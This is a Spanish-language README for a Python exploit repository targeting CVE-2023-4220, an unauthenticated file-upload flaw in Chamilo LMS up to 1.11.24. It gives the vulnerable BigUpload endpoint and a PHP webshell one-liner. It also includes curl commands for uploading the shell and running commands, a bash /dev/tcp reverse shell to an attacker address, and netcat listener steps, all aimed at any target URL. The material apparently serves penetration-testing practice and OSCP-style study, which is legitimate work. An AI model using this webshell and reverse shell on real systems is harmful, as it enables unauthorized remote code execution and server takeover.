
CVE-2023-4220 — Subida de archivos no autenticada RCE en Chamilo LMS ≤ 1.11.24. Estilo OSCP y auto exploit.
Exploit en Python para CVE-2023-4220, una vulnerabilidad de subida arbitraria de archivos sin autenticación que afecta a Chamilo LMS <= 1.11.24.
La vulnerabilidad se encuentra en el componente BigUpload de Chamilo. En instalaciones vulnerables, el manejador de subida permite subir un archivo PHP sin la validación adecuada. Dado que los archivos subidos se almacenan en un directorio accesible desde la web, el archivo PHP subido puede ser solicitado directamente y utilizado como webshell si la ejecución de PHP está habilitada.
Este repositorio incluye dos versiones del exploit:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Ambos scripts suben un webshell PHP, verifican la ejecución de comandos y permiten ejecutar comandos a través del parámetro GET cmd. La única diferencia práctica es cómo se maneja --shell.
La versión auto inicia su propio listener, dispara la reverse shell y cambia a una sesión interactiva automáticamente.
La versión oscp dispara el payload de reverse shell pero no inicia un listener. Debes iniciar tu listener manualmente antes de ejecutarlo.
Clona el repositorio:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Instala los requisitos:
python3 -m pip install -r requirements.txt
La única dependencia externa es requests, por lo que también se puede instalar manualmente:
python3 -m pip install requests
El objetivo se pasa con -u o --url:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Las mismas opciones están disponibles en ambos scripts:
-u, --url URL base del objetivo
--check Verificar si el directorio de archivos de BigUpload es accesible
--upload Subir el webshell y verificar la ejecución de comandos
--cmd CMD Ejecutar un solo comando a través del webshell subido
--shell LHOST LPORT Disparar una reverse shell
--filename NAME Usar un nombre de archivo personalizado para el archivo PHP subido
--proxy PROXY Enviar tráfico a través de un proxy, por ejemplo Burp Suite
--timeout SECONDS Establecer el tiempo de espera HTTP
--verify-tls Habilitar la verificación del certificado TLS
--cleanup Intentar eliminar el webshell subido después de la ejecución
La versión automática también incluye:
--listen-timeout SEC Tiempo de espera para la conexión de reverse shell
Verificar si la ruta esperada de BigUpload es accesible:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Subir el webshell PHP y verificar la ejecución de comandos:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Ejecutar un solo comando:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Usar un nombre de archivo personalizado:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Enviar tráfico a través de Burp Suite:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
Los ejemplos anteriores usan el script auto, pero la misma sintaxis se puede usar con chamilo_cve_2023_4220_oscp.py.
La opción --shell existe en ambos scripts, pero se comporta de manera diferente dependiendo de la versión utilizada.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
Esta versión inicia un listener local en 10.10.14.3:4444, sube el webshell, dispara la reverse shell y abre la sesión interactiva automáticamente.
No necesitas ejecutar nc manualmente al usar esta versión.
Inicia tu listener manualmente primero:
sudo nc -nlvp 4444
Luego ejecuta el exploit desde otra terminal:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
Esta versión solo envía el payload de reverse shell a través del webshell subido. La conexión es recibida por el listener que iniciaste manualmente.
El comando de reverse shell disparado por ambos scripts es equivalente a:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Asegúrate de que el valor LHOST sea accesible desde el objetivo. En entornos VPN, suele ser la dirección de tu interfaz de túnel:
ip -brief addr show tun0
CVE-2023-4220 afecta a versiones de Chamilo LMS hasta la 1.11.24 inclusive.
El manejador de subida vulnerable se encuentra en:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
La acción explotada por el exploit es:
?action=post-unsupported
Los archivos subidos suelen ser accesibles desde:
/main/inc/lib/javascript/bigupload/files/
El exploit envía una solicitud POST multipart/form-data usando el campo de formulario esperado por BigUpload:
bigUploadFile
El payload PHP subido es un pequeño envoltorio de comandos:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
Los comandos se pasan a través del parámetro GET cmd:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
Los marcadores alrededor de la salida del comando se utilizan para extraer la parte relevante de la respuesta HTTP.
La subida realizada por los scripts es equivalente a:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Después de una subida exitosa, la ejecución de comandos se puede probar con:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check solo verifica si el directorio de archivos de BigUpload esperado es accesible. Un resultado positivo no garantiza que el objetivo sea explotable.
Una validación completa requiere subir el payload PHP y confirmar la ejecución de comandos con --upload o --cmd.
Si la subida funciona pero la ejecución de comandos falla, la ejecución de PHP puede estar deshabilitada en el directorio de subida, el objetivo puede estar parcheado, o una regla del lado del servidor puede estar bloqueando la solicitud.
Usa --cleanup si deseas que el script intente eliminar el archivo PHP subido después de la ejecución.